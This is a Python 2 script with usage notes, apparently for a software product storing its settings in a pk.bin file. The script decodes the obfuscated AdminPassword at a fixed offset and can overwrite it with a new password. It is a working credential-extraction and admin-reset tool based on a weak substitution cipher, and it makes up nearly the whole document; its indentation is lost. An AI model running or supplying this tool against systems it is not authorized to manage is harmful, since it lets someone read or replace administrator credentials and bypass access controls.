Notes

./pkl_tool.py (decrypt|encrypt) (/path/to/pk.bin) [new_password]
# Reallife examples:
#
# **On Linux:
# ./pkl_tool.py decrypt /home/jackd/pk.bin
# - This will try to extract and decrypt the AdminPassword from your pk.bin.
# ./pkl_tool.py encrypt /home/jackd/pk.bin "I AM ADMIN"
# - This will try to open the pk.bin file and change the password to "I AM ADMIN".
#
# **On Windows:
# c:pythonpathpython.exe pkl_tool.py decrypt "c:program filesbpkpk.bin"
# - This will try to extract and decrypt the AdminPassword from your pk.bin.
# c:pythonpathpython.exe pkl_tool.py encrypt "c:program filesbpkpk.bin" "I AM ADMIN"
# - This will try to open the pk.bin file and change the password to "I AM ADMIN".

import sys, os

def createTable():
table = []
table.append(0xA)
table.append(0xB)
table.append(0x8)
table.append(0x9)
table.append(0xE)
table.append(0xF)
table.append(0xC)
table.append(0xD)
table.append(0x2)
table.append(0x3)
table.append(0x0)
table.append(0x1)
table.append(0x6)
table.append(0x7)
table.append(0x4)
table.append(0x5)
for i in range(0, len(table)):
table.append(table[i] + 0x10)

ret = {}
num = 0
for i in range(32, 63 +1):
ret[chr(i)] = table[num] + 0x80
num += 1

num = 0
for i in range(64, 95 +1):
ret[chr(i)] = table[num] + 0xE0
num += 1

num = 0
for i in range(96, 127 +1):
ret[chr(i)] = table[num] + 0xC0
num += 1

return(ret)

table = createTable()

def Decrypt(Ascii):
for char, value in table.items():
if Ascii == value:
return(char)
print "Undecryptable Byte: %i" %(Ascii)
return("?")

def Encrypt(Char):
for char, value in table.items():
if Char == char:
return(chr(value))
print "Uhmm! You have a strange Char in your Password! Aborting!"
sys.exit(0)

def getFileObj(path):

try:
pkbin = open(path, "r+")
except:
print "Failed to open '%s'! Aborting." %path
sys.exit(0)
size = os.path.getsize(path)
if size != 4204:
print "Your pkl.bin have an invalid filesize! The File should have 4204 bytes but have %i! Aborting." %size
sys.exit(0)
print "File seems to be OK."
return(pkbin)

if len(sys.argv) >= 3:
cmd = sys.argv[1]
if cmd == "decrypt":
path = sys.argv[2]
print "Trying to open '%s' to extract and decrypt AdminPassword..." %path
pkbin = getFileObj(path)
pkbin.seek(1812)

byte = ""
pw = ""
while byte != 0xAA:
byte = ord(pkbin.read(1))
if byte != 0xAA:
pw += Decrypt(byte)

pkbin.close()

if pw != "":
print "Admin PW is: '%s'." %(pw)
else:
print "Password not found. However, it could mean that there is no Adminpassword set."

elif cmd == "encrypt":
path = sys.argv[2]
newpw = ""
if len(sys.argv) == 4:
newpw = sys.argv[3]
if len(newpw) >= 84:
print "Your password is too long! C'Mon choose a shorter password."
sys.exit(0)
else:
print "Invalid count of params."
print "If you want to set a new password you should provide one, shouldnt you? :)"
sys.exit(0)
print "Trying to open '%s' to write the AdminPassword '%s'..." %(path, newpw)
pkbin = getFileObj(path)
pkbin.seek(1812)
pw = ""
for char in newpw:
pw += Encrypt(char)
pw += chr(0xAA) * (84-len(pw))
pkbin.write(pw)
pkbin.close()
print "Operation Done. The new password should be set!"
else:
print "Invalid count of params!"
print "Open this script with a Texteditor for more Details."